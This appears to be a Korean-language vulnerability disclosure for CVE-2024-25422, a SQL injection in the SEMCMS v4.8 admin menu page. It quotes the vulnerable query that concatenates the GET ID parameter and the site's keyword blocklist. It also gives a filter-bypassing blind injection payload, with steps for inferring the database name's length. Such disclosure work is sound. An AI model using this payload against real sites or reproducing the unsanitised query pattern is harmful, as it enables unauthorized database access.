
semcms에 SQL 인젝션 취약점이 존재합니다 (CVE-2024-25422)
Semcms 소개
SEMCMS는 다국어를 지원하는 외국 무역 웹사이트 콘텐츠 관리 시스템(CMS)입니다.
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip
취약점 원인:
/xcR45q_Admin/SEMCMS_Menu.php 66번째 줄
취약점 코드:
<?php
} elseif ($type == "edit") {
$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
?>
여기서 ID는 GET을 통해 매개변수를 전달할 때 SQL 문을 실행한다는 것을 알 수 있습니다.
필터 코드 위치: /Include/contorl. PHP
151번째 줄
function test_input($data) {
//$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,*ENT_QUOTES*);
return $data;
}
그리고 8번째 줄
function inject_check_sql($sql_str) {
return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
위의 내용을 필터링함으로써 다음과 같은 페이로드를 구성할 수 있습니다.
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
취약점 재현
웹사이트 접속
http://url/xcR45q_Admin/SEMCMS_Menu.php
Brupsuite 패킷 캡처, 새 사이트 생성 시 데이터베이스 이름의 길이가 5이므로 페이로드는 다음과 같이 구성됩니다.
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
(데이터베이스 이름의 길이가 5인지 확인)
페이로드를 삽입하여 에코(echo) 확인

이때 페이로드를 변경합니다.
-1%20or%20length(database())%20REGEXP%20char(94,54,36)
(데이터베이스 이름의 길이가 6인지 확인)
이때 페이로드를 변경합니다.

향후 페이지의 변화에 따라 SQL 인젝션을 계속 진행할 수 있습니다.